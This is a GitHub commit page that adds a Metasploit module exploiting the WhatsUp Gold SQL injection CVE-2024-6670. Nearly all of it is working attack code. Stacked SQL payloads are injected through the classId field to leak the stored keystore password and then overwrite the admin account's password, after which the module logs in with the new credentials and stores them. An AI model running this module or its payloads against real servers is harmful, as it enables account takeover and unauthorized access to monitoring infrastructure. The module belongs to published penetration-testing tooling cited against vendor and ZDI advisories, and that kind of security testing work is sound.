Skip to content

Commit 686da13

Browse files
committed
WhatsUp Gold SQL Injection (CVE-2024-6670)
WhatsUp Gold SQL Injection (CVE-2024-6670)
1 parent db55e5e commit 686da13

File tree

1 file changed

+169
-0
lines changed

1 file changed

+169
-0
lines changed
Lines changed: 169 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,169 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
# prepend Msf::Exploit::Remote::AutoCheck
4+
5+
def initialize(info = {})
6+
super(
7+
update_info(
8+
info,
9+
'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)',
10+
'Description' => %q{
11+
This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of the admin user
12+
to an attacker-controlled one.
13+
14+
WhatsUp Gold < v24.0 are affected.
15+
},
16+
'Author' => [
17+
'Michael Heinzl', # MSF Module
18+
'Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)' # Discovery & PoC
19+
],
20+
'References' => [
21+
['CVE', '2024-6670'],
22+
['URL', 'https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024'],
23+
['URL', 'https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/'],
24+
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-1185/']
25+
],
26+
'DisclosureDate' => '2024-08-29',
27+
'DefaultOptions' => {
28+
'RPORT' => 443,
29+
'SSL' => 'True'
30+
},
31+
'License' => MSF_LICENSE,
32+
'Notes' => {
33+
'Stability' => [CRASH_SAFE],
34+
'Reliability' => [REPEATABLE_SESSION],
35+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
36+
}
37+
)
38+
)
39+
40+
register_options([
41+
OptString.new('TARGETURI', [true, 'Base path', '/']),
42+
OptString.new('USERNAME', [true, 'Username of which to update the password (default: admin)', 'admin']),
43+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
44+
])
45+
end
46+
47+
def run
48+
body = {
49+
KeyStorePassword: datastore['NEW_PASSWORD'],
50+
TrustStorePassword: datastore['NEW_PASSWORD']
51+
}.to_json
52+
53+
res = send_request_cgi(
54+
'method' => 'POST',
55+
'uri' => normalize_uri(target_uri.path, 'NmConsole/WugSystemAppSettings/JMXSecurity'),
56+
'ctype' => 'application/json',
57+
'data' => body
58+
)
59+
60+
unless res
61+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
62+
end
63+
64+
unless res.code == 500
65+
fail_with(Failure::UnexpectedReply, 'Unexpected server HTTP status code received.')
66+
end
67+
68+
marker = Rex::Text.rand_text_alpha(10)
69+
deviceid = Rex::Text.rand_text_numeric(5)
70+
71+
body = {
72+
deviceId: deviceid.to_s,
73+
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--",
74+
range: '1',
75+
n: '1',
76+
start: '3',
77+
end: '4',
78+
businesdsHoursId: '5'
79+
}.to_json
80+
81+
res = send_request_cgi(
82+
'method' => 'POST',
83+
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
84+
'ctype' => 'application/json',
85+
'data' => body
86+
)
87+
88+
unless res
89+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
90+
end
91+
92+
unless res.code == 200 && res.body == 'false'
93+
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
94+
end
95+
96+
res = send_request_cgi(
97+
'method' => 'GET',
98+
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/Filter/AlertCenterItemsReportThresholds')
99+
)
100+
101+
unless res
102+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
103+
end
104+
105+
unless res.code == 200
106+
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
107+
end
108+
109+
body = res.body.to_s
110+
json_body = JSON.parse(body)
111+
112+
result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) }
113+
unless result || result.nil
114+
fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.')
115+
end
116+
117+
display_name = result['DisplayName'].to_s
118+
display_name_f = display_name.sub(marker.to_s, '')
119+
byte_v = display_name_f.split(',')
120+
hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') }
121+
enc_pass = '0x' + hex_v.join
122+
123+
body = {
124+
deviceId: deviceid.to_s,
125+
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--",
126+
range: '1',
127+
n: '1',
128+
start: '3',
129+
end: '4',
130+
businesdsHoursId: '5'
131+
}.to_json
132+
133+
res = send_request_cgi(
134+
'method' => 'POST',
135+
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
136+
'ctype' => 'application/json',
137+
'data' => body
138+
)
139+
140+
unless res
141+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
142+
end
143+
144+
unless res.code == 200 && res.body == 'false'
145+
fail_with(Failure::Unreachable, 'Unexpected server response received.')
146+
end
147+
148+
res = send_request_cgi(
149+
'method' => 'POST',
150+
'uri' => normalize_uri(target_uri.path, 'NmConsole/User/LoginAjax'),
151+
'ctype' => 'application/x-www-form-urlencoded',
152+
'vars_post' => {
153+
'username' => datastore['USERNAME'],
154+
'password' => datastore['NEW_PASSWORD'],
155+
'rememberMe' => 'false'
156+
}
157+
)
158+
159+
json = res.get_json_document
160+
161+
unless res && res.code == 200 && res.get_cookies.include?('ASPXAUTH') && json['authenticated'] == true
162+
fail_with(Failure::NotVulnerable, 'Unexpected response received.')
163+
end
164+
165+
store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
166+
print_good("New #{datastore['USERNAME']} password was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}")
167+
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}")
168+
end
169+
end

0 commit comments

Comments
 (0)